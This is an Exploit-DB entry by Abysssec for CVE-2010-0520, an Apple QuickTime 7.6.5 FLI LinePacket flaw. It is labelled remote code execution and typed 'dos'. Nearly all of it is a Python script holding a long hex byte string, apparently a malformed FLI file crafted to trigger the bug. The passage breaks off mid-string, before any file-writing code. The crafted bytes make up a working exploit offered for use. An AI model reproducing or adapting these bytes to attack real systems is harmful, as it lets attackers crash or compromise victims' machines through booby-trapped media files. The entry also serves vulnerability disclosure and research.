Exploit-DB #15035
Description: Apple QuickTime FLI LinePacket - Remote Code Execution
Type: dos
Platform: windows
Date: 2010-09-18
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-18-apple-quicktime-fli-linepacket-remote-code-execution-vulnerability/

'''

'''
  Title               :  Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability
  Version             :  QuickTime player 7.6.5
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.apple.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0520

'''


import os
import sys
if __name__=='__main__':
    
    fli=("\xFC\x38\x03\x00\x11\xAF\xAA\x00\x40\x01\xC8\x00\x08\x00\x03\x00"
        "\x0A\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x26\x19\x00\x00\xF4\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x98\x08\x00\x00\xFA\xF1\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x0A\x03\x00\x00\x0B\x00\x01\x00\x00\x00\x00\x00\x00\x02\x02\x02"
        "\x04\x04\x04\x06\x06\x06\x08\x08\x08\x0A\x0A\x0A\x0C\x0C\x0C\x0E"
        "\x0E\x0E\x10\x10\x10\x12\x12\x12\x14\x14\x14\x16\x16\x16\x18\x18"
        "\x18\x1A\x1A\x1A\x1C\x1C\x1C\x1E\x1E\x1E\x21\x21\x21\x23\x23\x23"
        "\x25\x25\x25\x27\x27\x27\x29\x29\x29\x2B\x2B\x2B\x2D\x2D\x2D\x2F"
        "\x2F\x2F\x31\x31\x31\x33\x33\x33\x35\x35\x35\x37\x37\x37\x39\x39"
        "\x39\x3B\x3B\x3B\x3D\x3D\x3D\x3F\x3F\x3F\x3F\x33\x33\x3F\x3F\x33"
        "\x33\x3F\x33\x33\x3F\x3F\x33\x33\x3F\x3F\x33\x3F\x3F\x27\x27\x3F"
        "\x33\x27\x3F\x3F\x27\x33\x3F\x27\x27\x3F\x27\x27\x3F\x33\x27\x3F"
        "\x3F\x27\x33\x3F\x27\x27\x3F\x33\x27\x3F\x3F\x27\x3F\x3F\x27\x33"
        "\x3F\x1B\x1B\x3F\x27\x1B\x3F\x33\x1B\x3F\x3F\x1B\x33\x3F\x1B\x27"
        "\x3F\x1B\x1B\x3F\x1B\x1B\x3F\x27\x1B\x3F\x33\x1B\x3F\x3F\x1B\x33"
        "\x3F\x1B\x27\x3F\x1B\x1B\x3F\x27\x1B\x3F\x33\x1B\x3F\x3F\x1B\x3F"
        "\x3F\x1B\x33\x3F\x1B\x27\x3F\x0F\x0F\x3F\x1B\x0F\x3F\x27\x0F\x3F"
        "\x33\x0F\x3F\x3F\x0F\x33\x3F\x0F\x27\x3F\x0F\x1B\x3F\x0F\x0F\x3F"
        "\x0F\x0F\x3F\x1B\x0F\x3F\x27\x0F\x3F\x33\x0F\x3F\x3F\x0F\x33\x3F"
        "\x0F\x27\x3F\x0F\x1B\x3F\x0F\x0F\x3F\x1B\x0F\x3F\x27\x0F\x3F\x33"
        "\x0F\x3F\x3F\x0F\x3F\x3F\x0F\x33\x3F\x0F\x27\x3F\x0F\x1B\x3F\x03"
        "\x0F\x3F\x03\x03\x3F\x0F\x03\x3F\x1B\x03\x3F\x27\x03\x3F\x33\x03"
        "\x3F\x3F\x03\x33\x3F\x03\x27\x3F\x03\x1B\x3F\x03\x0F\x3F\x03\x03"
        "\x3F\x03\x03\x3F\x0F\x03\x3F\x1B\x03\x3F\x27\x03\x3F\x33\x03\x3F"
        "\x3F\x03\x33\x3F\x03\x27\x3F\x03\x1B\x3F\x03\x0F\x3F\x03\x03\x3F"
        "\x0F\x03\x3F\x1B\x03\x3F\x27\x03\x3F\x33\x03\x3F\x3F\x03\x3F\x3F"
        "\x03\x33\x3F\x03\x27\x3F\x03\x1B\x33\x03\x0F\x33\x03\x03\x33\x0F"
        "\x03\x33\x1B\x03\x33\x27\x03\x33\x33\x03\x27\x33\x03\x1B\x33\x03"
        "\x0F\x33\x03\x03\x33\x03\x03\x33\x0F\x03\x33\x1B\x03\x33\x27\x03"
        "\x33\x33\x03\x27\x33\x03\x1B\x33\x03\x0F\x33\x03\x03\x33\x0F\x03"
        "\x33\x1B\x03\x33\x27\x03\x33\x33\x03\x33\x33\x03\x27\x33\x03\x1B"
        "\x27\x03\x0F\x27\x03\x03\x27\x0F\x03\x27\x1B\x03\x27\x27\x03\x1B"
        "\x27\x03\x0F\x27\x03\x03\x27\x03\x03\x27\x0F\x03\x27\x1B\x03\x27"
        "\x27\x03\x1B\x27\x03\x0F\x27\x03\x03\x27\x0F\x03\x27\x1B\x03\x27"
        "\x27\x03\x27\x27\x03\x1B\x1B\x03\x0F\x1B\x03\x03\x1B\x0F\x03\x1B"
        "\x1B\x03\x0F\x1B\x03\x03\x1B\x03\x03\x1B\x0F\x03\x1B\x1B\x03\x0F"
        "\x1B\x03\x03\x1B\x0F\x03\x1B\x1B\x03\x1B\x0F\x03\x03\x0F\x0F\x03"
        "\x03\x0F\x03\x03\x0F\x0F\x03\x03\x0F\x0F\x03\x0F\x1B\x0F\x0F\x1B"
        "\x1B\x0F\x0F\x1B\x0F\x0F\x1B\x1B\x0F\x0F\x1B\x1B\x0F\x1B\x27\x0F"
        "\x0F\x27\x1B\x0F\x27\x27\x0F\x1B\x27\x0F\x03\x03\x1B\x03\x05\x1C"
        "\x04\x06\x1D\x04\x08\x1E\x05\x09\x20\x05\x0B\x21\x05\x0C\x22\x06"
        "\x0E\x23\x06\x0F\x24\x06\x11\x25\x07\x12\x27\x07\x14\x28\x08\x16"
        "\x29\x08\x17\x2A\x08\x19\x2B\x09\x1A\x2C\x09\x1C\x2E\x0A\x1D\x2F"
        "\x0A\x1F\x30\x0A\x20\x31\x0B\x22\x32\x0B\x24\x33\x0C\x25\x35\x0C"
        "\x27\x36\x0C\x28\x37\x0D\x2A\x38\x0D\x2B\x39\x0D\x2D\x3A\x0E\x2E"
        "\x3C\x0E\x30\x3D\x0F\x31\x3E\x0F\x33\x3F\x1B\x33\x33\x1B\x27\x33"
        "\x1B\x1B\x33\x27\x1B\x33\x33\x1B\x33\x33\x1B\x27\x33\x27\x27\x33"
        "\x33\x27\x27\x33\x27\x27\x33\x33\x27\x27\x33\x33\x27\x33\x27\x1B"
        "\x1B\x27\x27\x1B\x1B\x27\x1B\x1B\x27\x27\x1B\x1B\x27\x27\x1B\x27"
        "\x03\x03\x03\x0F\x0F\x0F\x1B\x1B\x1B\x27\x27\x27\x33\x33\x33\x3F"
        "\x3F\x3F\x3F\x16\x03\x27\x07\x05\x3F\x3F\x00\x00\x00\x00\x2C\x2C"
        "\x2C\x22\x22\x22\x36\x36\x36\x3F\x00\x00\x7E\x05\x00\x00\x0F\x00"
        "\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F"
        "\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F"
        "\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42"
        "\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03"
        "\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00"
        "\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00"
        "\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00"
        "\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F"
        "\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F"
        "\x00\x42\x00\x03\x7F\x00\x7F\x00\x42\x00\x03\x7F\x00\x7F